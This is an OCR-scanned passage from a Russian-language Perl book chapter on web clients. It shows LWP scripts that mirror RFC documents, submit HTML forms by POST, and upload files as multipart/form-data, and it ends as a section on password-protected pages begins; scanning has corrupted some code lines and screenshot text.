нттр: :Request. Этот запрос передается методу request!) объекта агента пользователя
и проверяется полученный ответ. Если метод is_success () объекта ответа указывает на
успешное выполнение, полученное информационное наполнение выводится на стандартное
устройство вывода. В ином случае выдается предупреждение, в котором применяется
сообщение с кодом состояния ответа.
Зеркальное отображение списка документов RFC
В следующем примере приведен тот же сценарий с небольшими изменениями.
Вместо выборки затребованных документов RFC и отправки их на стандартное устройство
вывода, выполняется создание их зеркальных, локальных копий в виде файлов,
хранящихся в текущем рабочем каталоге. Модуль LWP осуществляет выборку документа,
находящегося на удаленном сервере, только если он имеет более позднюю дату последнего
изменения по сравнению с локальной копией. В любом случае этот сценарий сообщает
о результатах каждой попытки, как показано в следующем примере.
% mirror_rfc.pl 2616 1945 11
RFC 2616: OK
RFC 1945: Not Modified
RFC 11: Not Found
В данном случае сценарию был передан запрос выполнить выборку документов
RFC 2616, 1945 и 11. Отчеты с кодами состояния показывают, что был получен
документ RFC 2616, выборка RFC 1945 не потребовалась, поскольку локальная копия
является актуальной, a RFC 11 не мог быть считан с удаленного сервера, поскольку
такого файла на этом сервере нет (и действительно, документа RFC 11 не существует).
Код этого сценария, приведенный в листинге 9.5, состоит всего лишь из 15 строк.
Листинг 9.5. Сценарий mirror_rf с. pi
0: #!/usr/local/bin/perl -w
1: # Файл: mirror_rfc.pl
2: use strict;
3: use LWP;
4: use constant RFCS => 'http://www.faqs.org/rfcs/';
5: die "Usage: mirror_rfc.pl rfcl rfc2...\n" unless GARGV;
Глава 9. Web-клиенты
273
my $ua = LWP::UserAgent->new;
my $newagent = "mirror_rfc/1.0 (' . $ua->agent .')
$ua->agent($newagent);
9: while (defined (my $rfc = shift)) {
10: warn "$rfc: invalid RFC number\n" && next
unless $rfc =~ //4\d+$/;
11: my $filename = "rfc$rfc.html";
12: my $url = RFCS . $filename;
13
14
15
my $response = $ua->mirror($url,$filename);
print "RFC $rfc: ",$response->message,"\n";
}
Проведем анализ программы.
• Строки 1-8. Загрузка модулей и создание объекта агента пользователя. Выполняется
такая же настройка объекта ШР: :userAgent, как и в предыдущем примере, за исключением
того, что соответствующим образом изменяется текст инструкции по использованию программы
и идентификатор агента пользователя.
• Строки 9-15. Главный цикл. Выполняется чтение номеров RFC из командной строки. Для
каждого RFC создается локальное имя файла в форме rfcxxxx.html, где хххх— номер
затребованного документа. Этот номер добавляется к базовому URL сервера, на котором
хранятся документы RFC, для получения полного URL удаленного сервера.
В отличие от предыдущего примера, для зеркального отображения не нужно
создавать объект HTTP: :Request. В этом случае методу mirror () агента пользователя
просто передаются URL удаленного сервера и локальное имя файла для получения
в ответ объекта HTTP::Response. Затем выводится сообщение с кодом состояния,
возвращенное методом message () объекта ответа.
Эмуляция заполняемых форм
В предыдущих двух примерах выполнялась выборка статических документов с
удаленных Web-серверов. Однако основная часть наиболее интересного
информационного наполнения в Web вырабатывается динамическими серверными сценариями,
такими как страницы поиска, оперативные каталоги и выпуски последних известий.
Серверные сценарии CGI (а также сервлеты и другие типы динамического
информационного наполнения) обычно приводятся в действие с помощью
заполняемых форм HTML. Формы состоят из ряда заполняемых полей и, как правило,
включают совокупность текстовых полей, всплывающих меню, списков прокрутки и
кнопок. Каждое поле имеет имя и значение. При отправке формы на сервер, обычно
путем щелчка на кнопке, имена и текущие значения полей формы соединяются
в строку специального формата и отправляются в серверный сценарий.
Модуль LWP позволяет эмулировать отправку данных заполняемой формы, но для этого
необходимо знать, какие параметры должен получить удаленный сервер и в каком виде
они должны быть представлены. Иногда с удаленного Web-узла можно получить указания
о том, как вызывать его серверные сценарии, но чаще всего приходится определять
параметры вызова сценариев путем просмотра исходного кода заполняемой формы.
Например, организация Internet FAQ Consortium предоставляет по адресу
http://www.faqs.org/rfcs/ страницу поиска, которая, помимо всего прочего,
включает форму поиска архива RFC по текстовому образцу. Перейдя на эту страницу
274
Часть II. Разработка клиентов для основных служб
в обычном броузере и выбрав команду "View Source", автор получил исходный код
HTML для страницы. В листинге 9.6 приведена часть кода этой страницы, которая
содержит определение формы поиска (она была немного отредактирована для
удаления лишних тегов форматирования).
Листинг 9.6. Определение формы HTML, используемой в сценарии поиска
до ента RFC на узле о • ганизации FAQ Consortium
<FORM METHOD=POST ACTION="/cgi-bin/rfcsearch">
<STRONG>Search the Archives</STRONG>
<INPUT NAME="query" TYPE="text" size=25>
<SELECT NAME="archive">
<OPTION VALUE="rfcs" SELECTED> Show References
<OPTION VALUE="rank"> Rank References
<OPTION VALUE="rfcindex"> Search RFC Index
<OPTION VALUE="fyiindex"> Search FYI Index
<OPTION VALUE="stdindex"> Search STD Index
<OPTION VALUE="bcpindex"> Search BCP Index
</SELECT>
<INPUT TYPE="submit" VALUE="Search RFCs">
</FORM>
Заполняемые формы в коде HTML начинаются с тега <FORM> и заканчиваются тегом
</FORM>. Между этими двумя тегами находится один или несколько тегов <INPUT>,
которые создают простые поля наподобие полей ввода текста и кнопок; теги <SELECT>,
которые определяют поля с несколькими вариантами выбора наподобие списков
прокрутки и всплывающих меню; а также теги <TEXTAREA>, которые создают большие поля
ввода текста с горизонтальными и вертикальными полосами прокрутки.
Элементы формы имеют атрибут NAME, который обозначает имя поля при
отправке значения этого поля на Web-сервер, и необязательный атрибут VALUE,
который позволяет присвоить полю значение по умолчанию. Теги <INPUT> могут
также иметь атрибут TYPE, от которого зависит внешнее представление этого поля.
Например, атрибут TYPE="text" создает текстовое поле, в котором пользователь
может вводить информацию; TYPE="checkbox" — флажок, на котором может
ставить и снимать отметку; a TYPE="hidden" — элемент, не видимый на развернутой
HTML-странице, но, тем не менее, имеющий свое имя и значение, которые
передаются на сервер при передаче ему данных формы.
Сам тег <FORM> имеет два обязательных атрибута. Атрибут METHOD определяет
способ отправки данных заполняемой формы на Web-сервер и может иметь
значение GET или POST. К каким последствиям приводит применение того или иного
метода, — будет рассмотрено ниже. Атрибут ACTION определяет URL, по
которому должны быть отправлены данные полей формы. Это может быть URL в
полной или сокращенной форме, которая указывает URL относительно HTML-
страницы, содержащей данную форму.
Иногда атрибут ACTION может полностью отсутствовать, и в этом случае данные полей
формы должны быть отправлены по URL страницы, на которой находится эта форма.
Строго говоря, это — недопустимая конструкция HTML, но она широко применяется.
Глава 9. Web-клиенты
275
В примере, приведенном в листинге 9.6, форма поиска RFC состоит из двух
элементов. В текстовом поле с именем "que ry" дано приглашение для пользователя
ввести строку текста, по которой должен быть вьтолнен поиск, а меню с именем
"archive" позволяет определить, в какой части архива должен выполняться поиск.
Различные пункты меню обозначены с использованием ряда тегов <OPTION> и
включают значения "rf cs", "rank" и "rf cindex". На странице есть также кнопка
передачи формы на сервер, созданная с помощью тега <INPUT>, который имеет атрибут
TYPE, равный "submit". Однако поскольку этот тег не имеет атрибута NAME, его
содержимое не входит в состав информации, передаваемой на сервер. На рис. 9.1
показано, как выглядит эта форма при ее воспроизведении в броузере.
_ «»•:■:< ~"~~
File Edit View Go Communicator H«Hp
Search the Archives M j| Show Eolertncas -i | I Swrch HFCi\
Рис. 9.1. Заполняемая форма организации FAQ Consortium, воспроизведенная в броузере
При передаче на сервер данных этой формы броузер преобразовывает текущее
информационное наполнение формы в так называемую "строку запроса" с
использованием формата MIME application/x-www-form-urlencoded. Этот формат состоит из
ряда пар "имя=значение", где имена и значения получены из элементов формы и их
текущих значений. Каждая пара отделена от другой символом амперсанда (&) или точкой
с запятой (;). Например, если в текстовом поле формы поиска RFC будет введено "NINE
types", а из всплывающего меню выбрана область поиска "Search RFC Index", то
строка запроса, выработанная броузером, будет иметь следующий вид:
query=MINE%20types&archive=rfcindex
Обратите внимание, что пробел в строке "MINE types" превратился в %20. Это —
шестнадцатеричная управляющая последовательность для символа пробела (0x20
в коде ASCII). В строках запроса нельзя применять еще некоторые символы, и они
должны быть преобразованы в управляющие последовательности таким же образом.
Как показано ниже, модуль URI:: Escape позволяет упростить создание строк
запроса с управляющими последовательностями.
Способ отправки броузером строки запроса на Web-сервер зависит от того,
применяется ли метод отправки данных формы GET или POST. В случае GET
вопросительный знак "?", за которым следует строка запроса, добавляется непосредственно
к концу URL, указанного атрибутом ACTION тега <F0RM>.
http://www.faqs.org/cgi-bin/rfcsearch?query=NINE%20types
&archive=rfcindex
При использовании формы, в которой применяется метод POST, правильное действие
состоит в отправке запроса с помощью метода POST no URL, указанному атрибутом
ACTION, и передаче строки запроса в качестве информационного наполнения запроса.
Очень важно отправлять строку запроса на удаленный сервер именно таким
способом, который указан тегом <F0RM>. Некоторые серверные сценарии являются дос-
276 Часть П. Разработка клиентов для основных служб
таточно гибкими, чтобы распознавать и принимать в равной степени и запросы GET,
и запросы POST, но большинство из них таким свойством не обладают.
Кроме строк запроса типа application/x-www-form-urlencoded, в некоторых
заполняемых формах применяется более новая система кодирования
multipart/form-data. Способ работы с такими формами описан в разделе
"Выгрузка файлов с использованием типа MIME multipart /form-data".
Следующий сценарий именуется search_rfc.pl. Он вызывает серверный
сценарий, расположенный по адресу http://www.faqs.org/cgi-bin/rfcsearch, для
поиска в предметном указателе RFC документов, имеющих какое-то отношение к
условиям поиска, заданным в командной строке. Ниже показаны результаты поиска по
условиям "MIME types".
% search_rfc.pl MIME types
RFC 2503 MIME Types for Use with the ISO ILL Protocol
RFC 1927 Suggested Additional MIME Types for Associating
Documents
Сценарий search_rfc.pl действует по принципу эмуляции отправки
пользователем данных заполняемой формы, показанной в листинге 9.6 и на рис. 9.1. Создается
строка запроса, содержащая поля query и archive, а затем выполняется ее отправка
с помощью метода POST в серверный сценарий поиска. После этого требуемая
информация извлекается из возвращенного документа HTML и выводится на
стандартное устройство вывода.
Для правильного преобразования символов строки запроса в управляющие
последовательности используется функция uri_escape (), которая входит в состав модуля
URI: :Escape из библиотеки LWP. Функция uri_escape() заменяет недопустимые
символы в URL соответствующими им шестнадцатеричными управляющими
последовательностями. Функция ur i_une scape () выполняет обратное преобразование.
Код сценария приведен в листинге 9.7.
истинг 9.7. Сценарий search rf с .pi ~~"
0: #!/usr/local/bin/perl -w
1: # Файл: search_rfc.pl
2: use strict;
3: use LWP;
4: use URI::Escape;
5: use constant RFC_SEARCH =>
'http://www.faqs.org/cgi-bin/rfcsearch';
6: use constant RFC_REFERER => 'http://www.faqs.org/rfcs/';
7: die "Usage: rfc_search.pl terml term2..,\n" unless 0ARGV;
8: my $ua = LWP::UserAgent->new;
9: my $newagent — 'search_rfc/1.0 (" . $ua->agent .')*;
10: $ua->agent($newagent);
11: my $search_terms = "GARGV";
12: my $query_string =
uri_escape("query=$search_terms&archive=rfcindex");
Глава 9. Web-клиенты
277
13: my $request = HTTP::Request->new(POST => RFC_SEARCH);
14: $request->content($query_string);
15: $request->referer(RFC_REFERER);
16: my $response = $ua->request($request);
17: die $response->message unless $response->is_success;
18: my $content = $response->content;
19: while ($content =~ /(RFC \d+).*<STRONG>(.+)<\/STRONG>/g) {
20: print "$l\t$2\n";
21: )
Проведем анализ программы.
• Строки 1-4. Загрузка модулей. Включена строгая проверка синтаксиса и загружены модули
LWP и URI:: Escape. Модуль URI:: Escape автоматически импортирует функции
uri_escape() и uri_unescape().
• Строки 5-7. Определение констант. Определена одна константа для URL сценария поиска
на удаленном сервере, а другая — для страницы, на которой находится заполняемая форма.
Последняя константа нужна для правильного заполнения поля Referer: запроса; вскоре
будет описано, с чем саязана такая необходимость.
• Строки 8-10. Создание объекта агента пользователя. Этот код аналогичен коду,
приведенному в предыдущих примерах, за исключением того, что используется другой идентификатор
агента пользователя.
• Строки 11,12. Формирование строки запроса. Параметры вызова сценария преобразуются
в строку, которая используется в качестве значения поля query заполняемой формы. Нас
интересует поиск в предметном указателе архива RFC, поэтому в качестве значения поля
archive применяется "rf cindex". Значения этих полей включаются в правильно
отформатированную строку запроса, а недопустимые символы преобразуются в управляющие
последовательности с использованием функции uri_escape ().
• Строки 13-15. Создание запроса. Создается новый запрос post к сценарию поиска на
удаленном сервере и используется метод content () возвращенного объекта запроса
для установки содержимого строки запроса. Изменяется также значение поля Referer:
заголовка объекта запроса так, чтобы оно содержало URL заполняемой формы. Это —
дополнительная мера предосторожности. Для проверки того, что запрос исходит из
одного и того же источника, некоторые серверные сценарии предусматривают проверку поля
заголовка Referer: для подтверждения того, что запрос исходил из заполняемой
формы, расположенной на их собственном сервере: они отказываются обслуживать запросы,
не содержащие правильного значения этого поля. Видимо, такая проверка в сценарии
поиска на узле организации Internet FAQ Consortium не предусмотрена, однако здесь
правильное значение поля Referer: задано на тот случай, если такую проверку будет
решено ввести в будущем.
Здесь мы смогли легко обойти проверку значения поля Referer:, что позволяет сделать один
важный вывод — на проверку такого типа никогда не следует полагаться как на средство
защиты серверных Web-сценариев от неправильного использования.
• Строки 16, 17. Передача данных запроса. Объект запроса передается методу request ()
объекта lwp: :UserAgent для получения объекта ответа. Выполняется проверка кода
состояния ответа с помощью метода issuccess () и осуществляется вызов функции die, если
этот метод указывает на неудачное завершение определенного типа.
• Строки 18-21. Выборка и интерпретация информационного наполнения. Для выборки
возвращенного документа HTML вызывается метод content () объекта ответа и полученные
данные присваиваются скалярной переменной. Теперь из кода HTML документа необходимо
извлечь номер и название документа RFC. Это несложно, поскольку документ, полученный
с сервера, имеет четко определенную структуру, показанную на рис. 9.2 (снимок с экрана)
и в листинге 9.8 (исходный код HTML). Каждый документ RFC, соответствующий критерию
поиска, представляет собой элемент упорядоченного списка (тег <ol> кода HTML), в котором
278
Часть П. Разработка клиентов для основных служб
номер RFC содержится в теге <А>, представляющем собой ссылку на текст RFC, а название
документа RFC заключено в пару тегов <strong>.
Для поиска и сопоставления с образцом всех строк, указывающих на документы RFC,
извлечения номера и названия RFC, а также вывода этой информации на стандартное устройство
вывода применяется простое регулярное выражение с опцией глобального поиска.
•^i >,. No ■ : RFC flrcflrve Search
File Edit View Go Communicator Help
•i . f' UoAitiarks ft Locatbrt. Jfrrttp: //www. f aqs. org/cgi-bin/rf с , $j>~ Wna's Related '
" Fack J Reioal Humo Search Netscape Print Securtl
RFC Index Search
Results for "MIME type"
File Name - Subject
1. RFC 2503- MIME Types for Use with the ISO ILL Protocol
2. RFC 1927 - Suggested Additional MIME Types for Associating Documents
Results Summary:
2 matches found
Back To RFCs - Usenet References - Usenet FAQs - HTML RFC Search Engine
©Coovngftf The Internet FAQ ConsortKMr. 139G
All lights reserved
bap-^ -4-* : v^; ^|%'4a.:^p ^
Рис. 9.2. Результаты поиска в предметном указателе RFC
Листинг 9.8. Код HTML, в котором представлены результаты поиска в
предметном указателе RFC
<BLOCKQUOTEXOL>
<LIXA HREF="/rfcs/rfc2503.html">RFC 2503</A> -
<STRONG>MINE Types for Use with the ISO ILL ProtocoK/STRONO
<LI><A HREF="/rfcs/rfcl927.html" >RFC 1927</A> -
<STRONG>Suggested Additional NINE Types for Associating
Documents </STRONG >
</OLX/BLOCKQUOTE>
В усовершенствованной версии этого сценария можно было бы предусмотреть
возможность выборки текста каждого документа RFC, возвращенного в результате
поиска. Одним из способов этого может быть включение вызова метода $иа-
>request () для каждого найденного документа RFC. Еще один более изящный
способ мог бы состоять в доработке сценария get_rf с .pi (листинг 9.4), чтобы он
принимал список номеров RFC со стандартного устройства ввода. Это могло бы позво-
Глава 9. Web-клиенты
279
лить выбирать содержимое каждого документа RFC, полученного в результате поиска,
путем объединения команд вызова этих двух сценариев с помощью канала:
% fetch_rfc.pl MIME types | get_rfc.pl
Поскольку организация Internet FAQ Consortium не опубликовала интерфейс
доступа к своему сценарию поиска, нет никакой гарантии, что в нем не изменится либо
форма строки запроса, либо формат документа HTML, возвращаемого в ответ на поисковые
запросы. Если произойдет одно из этих событий, сценарий search_r f с. pi перестанет
работать. Это— "хроническая" проблема всех подобных сценариев Web-клиентов и
убедительная причина проверки каждого этапа сложного сценария на предмет того, что
удаленный Web-сервер действительно возвращает ожидаемые результаты.
Этот сценарий содержит незаметную на первый взгляд ошибку, которая
заключается в том, каким образом происходит формирование в нем строк запроса. Сможете
ли вы ее обнаружить? Эта ошибка будет показана в следующем разделе.
Применение модуля HTTP::Request::Common для
отправки на сервер данных заполняемой формы
Поскольку передача на сервер значений полей из заполняемых форм применяется
так часто, в библиотеке LWP предусмотрен класс HTTP: :Request: :Common,
позволяющий значительно упростить эту операцию. После загрузки модуля
HTTP: : Request: :Common он импортирует четыре функции, GET (), POST (), HEAD ()
и PUT () .которые позволяют создавать объекты HTTP: : Reque st различных типов.
Здесь рассматривается функция POST (), позволяющая создавать объекты
HTTP: :Request, пригодные для эмуляции передачи данных заполняемых форм. Три
другие функции являются аналогичными.
{ $request = POST($url[,$form_ref] [,$headerl=>$vall ])
i Функция post{) возвращает объект HTTP::Request, в котором используется метод post. Па-
I раметр $url обозначает затребованный URL и может представлять собой простую строку или объ-
1 ект URI. Необязательный параметр $form_ref — зто ссылка на массив, содержащий имена и
значения полей формы, которые должны быть переданы как информационное наполнение. Если есть
j необходимость включить в запрос дополнительные поля заголовка, ьслед за этими параметрами
; нужно указать список пар "поле заголовка/значение".
Ниже показано, как построить запрос к машине поиска по предметному указателю
RFC на узле организации Internet FAQ Consortium с помощью функции POST ().
my $request = POST('http://www.faqs.org/cgi-bin/rfcsearch",
[query => "MIME types',
archive => "rfcindex"]
);
А в следующем фрагменте кода показано, как сделать то же самое, но
одновременно установить значение поля заголовка Ref ere г:.
my $request = POST('http://www.faqs.org/cgi-bin/rfcsearch",
[query => 'MIME types',
archive => "rfcindex"],
Referer => 'http://www.faqs.org/rfcs');
Обратите внимание, что пары "имя поля/значение" этого запроса содержатся
в ссылке на массив, а пары "имя/значение" полей заголовка запроса представляют
собой простой список.
280 Часть II Разработка клиентов для основных служб
Еще один вариант основан на том, что данные формы могут быть представлены
как параметры поля псевдозаголовка Content:. Такой вариант сценария, в котором
предусмотрена и установка полей заголовка запроса, и передача информационного
наполнения формы, является более наглядным.
my $request = POST('http://www.faqs.org/cgi-bin/rfcsearch',
Content => [ query => 'MIME types',
archive => 'rfcindex' ],
Referer => 'http://www.faqs.org/rfcs');
Функция POST () сама обеспечивает преобразование недопустимых символов
полей формы в управляющие последовательности согласно требованиям к формату
URI, а также осуществляет построение соответствующей строки запроса.
Листинг 9.9. Улучшенная версия сценария search_rfc.pl
0: #!/usr/local/bin/perl -w
1: # Файл: search rfc2.pl
use strict;
use LWP;
use HTTP::Request::Common;
5: use constant RFCSEARCH =>
'http://www.faqs.org/cgi-bin/rfcsearch';
6: use constant RFC_REFERER => 'http://www.faqs.org/rfcs/';
1: die "Usage: rfc_search2.pl terml term2 \n" unless GARGV;
9
10
my $ua = LWP::UserAgent->new;
my $newagent = 'search_rfc/l.0 (' . $ua->agent .')';
$ua->agent($newagent);
11: my $search_terms = "GARGV";
12
13
14
15
16
17
my $request = POST ( RFC_SEARCH,
Content => [ query => $search_terms,
archive => 'rfcindex'
],
Referer => RFC_REFERER
);
18: my $response = $ua->request($request);
19: die $response->message unless $response->is_success;
20
21
22
23
my $content = $response->content;
while ($content =~ /(RFC \d+).*<STRONG>(.+)<\/STR0NG>/g) {
print "$l\t$2\n";
}
Как показано в листинге 9.9, теперь можно создать улучшенную версию сценария
search_rfc.pl с использованием модуля HTTP: :Request::Common. Новая версия
аналогична старой, за исключением того, что в ней для создания строки запроса,
содержащей информацию, передаваемую на сервер из заполняемой формы, и для
установки значения поля Referer: исходящего запроса (строки 12-17) применяется
функция POST (). Новый сценарий является более легким для восприятия по сравнению
с первоначальной версией. Однако более важно то, что этот сценарий допускает мень-
Глава 9. Web-клиенты
281
шую вероятность возникновения ошибок. Генератор строк запроса из предыдущих
версий содержит ошибку, которая вызывает выработку недопустимых строк запроса при
получении строки поиска, содержащей символы "&" или "=". Например, при получении
строки запроса "mime&types" первоначальная версия вырабатывает следующую строку:
query=mime&types&archive=rfcindex
Эту ошибку можно было бы исправить вручную, заменив символ "&"
последовательностью "%26", а символ "=" последовательностью "%3D" в строке поиска перед
построением строки запроса и передачей ее функции uri_escape (). Однако в версии
на основе функции POST () это преобразование выполняется автоматически и
вырабатывается правильное информационное наполнение:
query=mime%26types&archive=rfcindex
Выгрузка файлов с использованием типа MIME
multipart/form-data
Кроме элементов формы, позволяющих пользователям вводить текстовые
данные, в языке HTML версии 4 и более поздних версий предусмотрен тег <INPUT> типа
" f i le". При воспроизведении этого тега в броузерах, совместимых с указанными
версиями, они вырабатывают элемент пользовательского интерфейса, который выводит
для пользователя приглашение указать файл, выгружаемый на сервер. После
отправки на сервер данных этой формы броузер открывает файл и отправляет его
содержимое, что позволяет выгружать в серверный сценарий Web целые файлы.
Однако этот метод не совсем совместим с кодировкой строк запроса
application/x-www-form-urlencoded, поскольку большинство выгружаемых
файлов имеет большой размер и сложную структуру. В серверных сценариях,
поддерживающих этот метод, применяется схема кодировки запроса другого типа,
называемая multipart/form-data. Формы, которые поддерживают эту кодировку,
заключены в теги <FORM> с атрибутом ENCTYРЕ, обозначающим эту схему.
<FORM METHOD=POST ACTION="/cgi-bin/upload"
ENCTYPE="multipart/form-data">
С кодировкой такого типа всегда используется метод POST. В случае
multipart/form-data применяется схема кодировки, которая очень похожа на
схем)' для многокомпонентных вложений MIME. Каждый элемент формы
обозначается как отдельная подчасть, которая имеет поле заголовка Content-Disposition: со
значением "form-data"; имя, содержащее имя поля; и данные тела сообщения,
содержащие значение этого поля. Для выгружаемых файлов данными тела сообщения
является информационное наполнение файла.
Несмотря на то что в основе этой структуры лежат простые принципы, правильно
построить сам формат multipart/form-data довольно трудно. К счастью, функция
POST (), предоставляемая модулем HTTP: :Request: rCommon, позволяет также
создавать запросы, совместимые с типом MIME multipart/form-data. Ключом к этому
методу является предоставление функции POST () параметра заголовка
Content_Type: со значением "form-data".
my $request = POST('http://www.faqs.org/cgi-bin/rfcsearch ' ,
Content_Type => 'form-data',
Referer => 'http://www.faqs.org/rfcs*,
Content => [ query => 'MIME types',
archive => 'rfcindex' ]
);
282
Часть II. Разработка клиентов для основных служб
В результате будет выработан запрос к машине поиска RFC с использованием
схемы кодировки multipart/form-data. Но не пытайтесь применить этот запрос на
практике: узел RFC FAQ не обладает способностью обрабатывать запросы,
оформленные по этой схеме.
Чтобы сообщить библиотеке LWP, что нужно выгрузить файл, необходимо в
качестве значения соответствующего поля формы указать ссылку на массив, содержащий,
по меньшей мере, один элемент.
$fieldname => [ $file, $filename, headerl=>$value... ]
Обязательный первый элемент этого массива $f ile представляет собой путь
доступа к выгружаемому файлу. Необязательный параметр $ filename обозначает имя,
предлагаемое по умолчанию для этого файла, и аналогичен параметру Filename
модуля MIME: :Entity. За ним следует любое число дополнительных полей заголовков
MIME. Чаще всего применяется поле Content-Type:, которое сообщает серверному
сценарию тип MIME выгружаемого файла.
Для иллюстрации того, как работает этот сценарий, представим клиентскую
программу для сценария CGI, расположенного по адресу http: //stein. cshl. org/WWW/
software/CGI/examples/file_upload.cgi. Этот сценарий был написан автором
несколько лет назад и может служить для изучения того, как принимают и обрабатывают
выгружаемые файлы сценарии CGI. Форма, которая приводит этот сценарий в действие
(рис. 9.3 и листинг 9.10), содержит единственное поле типа file с именем filename
и тремя флажками count со значениями "count lines", "count words" и "count
characters", которые указывают, что нужно выполнить в файле подсчет числа строк,
слов и символов. Есть также скрытое поле с именем . cgi fields и значением "count".
После передачи на сервер данных формы сценарий считывает выгруженный файл
и подсчитывает число строк, слов и/или символов, в зависимости от того, какие
опции были выбраны. Он выводит на стандартное устройство вывода статистические
данные, а также имя файла и его тип MIME, если этот тип был задан (рис. 9.4). |
I
Листинг 9.10. Исходный код HTML формы для приведения в действие сценария
file_u«load.с • i
<form method="POST"
action="/WWW/software/CGI/examples/file_upload.cgi"
enctype="multipart/form-data">
<input type="file" name="filename" size=45>
<br>
<input type="checkbox" name="count" value="count lines"
checked="yes">
count lines
<input type="checkbox" name="count" value="count words"
checked="yes">
count words
<input type="checkbox" name="count" value="count characters"
checked="yes">
count characters
<p>
<input type="reset">
<input type="submit" name="submit" value="Process File">
<input type="hidden" name=".cgifields" value="count">
</form>
Глава 9. WdHoiueumu
283
fte ■» :ПИ1 г.:■ F . I
File E64 View Go Communicak* Help ]
f " Bookmark! Locrdion: {frttp: //stei n. cshl . org/WtVW/s1 «TX w*4ft nelatad |
j tact -и Reioao Hum; Search Netscape r'rtnf Security l I
Version 2.70
File Upload Example
This vxampk. dbm.rrstratvs howt: prom.it the remcle user tс «Ject a remote ftc for upka Viq_
This feature only worts with Netscape 2Л or greater, or IE 4 Л or greater.
Select thb broww/ button Ig chocse a lex! Gle to upload When ycu press IKu suhmrt tollon.
this script on)! count the number of lines, «oris, an! characters 01 the tile
Enter iha filt to process.
I/usr / home/1st e in/tinp. html
fcount hnesrc unt words fcount characters
Лготзе..
Retet| frocbSEFIflj
CC-I tiwumeniffliim
Last гшИЛис" July 17 1996
ЯГ 10CX
M
г
^. _p _^
Pwc. 9.3. Форма, которая приводит в действие сценарий file_vpload. cgi
Теперь необходимо разработать сценарий LWP для приведения в действие этого
сценария CGI. Сценарий remote_wc.pl считывает файл из командной строки или
стандартного устройства ввода и выгружает его в сценарий file_upload.cgi. Затем
он интерпретирует результаты в виде кода HTML и выводит на устройство вывода
результат подсчета числа строк, слов и символов, возвращенных с удаленного сервера.
% remote_wc.pl ~/public_html/png.h_nl
lines = 20; words = 47; characters =362
Это—довольно сложный способ получения статистических данных о документе, но он
иллюстрирует саму методику! Код сценария remote_wc.pl приведен в листинге 9.11.
Листинг 9.11. енарий remote wc. pi
0: #!/usr/local/bin/perl -w
1: # Файл: remote_wc.pl
2: use strict;
.3: use LWP;
4: use HTTP: :Request: :Cominon;
5: use constant WC_SCRIPT =>
6: 'http://stein.cshl.org/WWW/software/CGI/examples/file_upload.cgi';
284
Часть II. Разработка клиентов для основных служб
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
Fife idftj; $}ew Go СотШйййог
^£^^5s3LSS^;
Hjrirgt
1"НГ:,Й^Щ|,t:ocaafflyjittpT/Tsteln. cshl. org/WW/эу^У-ад¥^ЭДШ
| Варк два Reload,',.. Homfr JgSarch Netscape-* 'Мшк_t Security .^.wg..
Resit I Prbeess Fife j
tmp.html
/usrftmp/CGItemp1285
MIKE Type: text/html
Lines: 12
Words: 370.
Characters: 7181
CGI docurrantatton
УйЛтплШиЙУу 17,1996
ST" ЛИГ" Г^"
**
М- £* .Л**-Л»#
Рис. 9.4. Вывод сценария file_upload. cgi
my $file = shift or die "Usage: remote_wc.pl file\n";
my $ua = LWP::UserAgent->new;
my $newagent = 'remotewc/1.0 (' . $ua->agent .')';
$ua->agent($newagent);
my $request = POST( WCSCRIPT,
Content_Type => 'form-data',
Content => [
count => 'count lines',
count => 'count words',
count => 'count characters',
'.cgifields' => 'count*,
submit => 'Process File',
filename => [ $file ] ,
]
);
my $response = $ua->request($request);
die $response->message unless $response->is_success;
my $content = $response->content;
my ($lines,$words,$characters) =
$content =~
m!Lines:.+?(\d+).+?Words:.+?(\d+).+?Characters:.+?(\d+)!;
print "lines = $lines; words = $words;
characters = $characters\n";
Глава 9. Web-тслиекты
2S5
Проведем анализ программы.
• Строки 1-4. Загрузка модулей. Включена строгая проверка синтаксиса и загружены модули
LWP и HTTP::Request::Common.
• Строки 5-7. Обработка параметров. Определяется константа для URL сценария CGI и из
командной строки извлекается имя выгружаемого файла.
• Строки 8-21. Создание объекта агента пользователя и запроса. Создается объект
LWP: :UserAgent обычным образом. Затем создается запрос с использованием функции
post(), которой в качестве первого параметра передается URL сценария CGI, параметр
Content_Type принимает значение "form-data", а параметр Content содержит различные
поля выгружаемой формы.
Обратите внимание, что поле count появляется в массиве Content три раза, по одному разу
для каждого флажка в форме. Значением поля filename является анонимный массив,
содержащий путь к файлу, указанный а командной строке. Предоставлены также значения для
скрытого поля .cgifields и кнопки submit, даже несмотря на то что нет полной уверенности
в том, что они действительно нужны (они не нужны, но, не имея документации по
использованию сценария удаленного сервера, мы не можем об этом судить).
• Строки 22, 23- Выдача запроса. Вызывается метод request () объекта агента пользоаателя
для выдачи запроса по методу post и получения в качестве результата объекта ответа. Как
ив предыдущих сценариях, проверяется результат, полученный от метода is_success(),
и вызывается функция die, если возникла ошибка.
• Строки 24-27. Извлечение результатов. Вызывается метод content () ответа для аыборки
документа HTML, выработанного сценарием удаленного сервера, и выполняется
сопоставление его текста с образцом для извлечения значений числа строк, слов и символов (это
регулярное выражение было выработано после проведения экспериментов с образцом
полученного кода HTML). Перед аыходом из программы выполняется вывод извлеченных значений на
стандартное устройство вывода.
Выборка страницы, защищенной паролем
Некоторые Web-страницы защищены именем пользователя и паролем с помощью
средств проверки подлинности пользователя по протоколу HTTP. Модуль LWP способен
работать с протоколом аутентификации, но должен получить имя пользователя и пароль.
Для предоставления модулю LWP этой информации могут применяться два
способа. Один из них состоит во включении имени пользователя и пароля в состав
переменных экземпляра агента пользователя с помощью метода credentials () этого
объекта. Как описано выше, метод credentials () сохраняет аутентификационную
информацию в хешированной таблице, индексами которой является имя хоста,
номер порта и область действия аутентификационной информации Web-сервера. Если
в эту таблицу перед созданием первого запроса будет внесен набор паролей, то модуль
LWP: :UserAgent будет обращаться к этой таблице в поисках имени пользователя
и пароля для использования во время доступа к защищенной странице. Такие правила
поведения метода get_basic_credentials () предусмотрены по умолчанию.
Еще один способ состоит в получении от .пользователя необходимой информации
во время выполнения. Это можно выполнить путем создания подкласса класса
LWP: :UserAgent и перекрытия метода get_basic_credentials (). После вызова
сценария специализированный метод get_basic_credentials () выведет для
пользователя запрос предоставить требуемую информацию.
Последний вариант реализован в сценарии get_url2.pl. При обращении к
незащищенным страницам он действует точно так же, как первоначальный сценарий
get_url.pl (листинг 9.1). Однако при выборе защищенной страницы он выдает
пользователю запрос ввести имя пользователя и пароль. Если имя пользователя и пароль
будут приняты, информационное наполнение, на которое указывает данный URL, будет
286
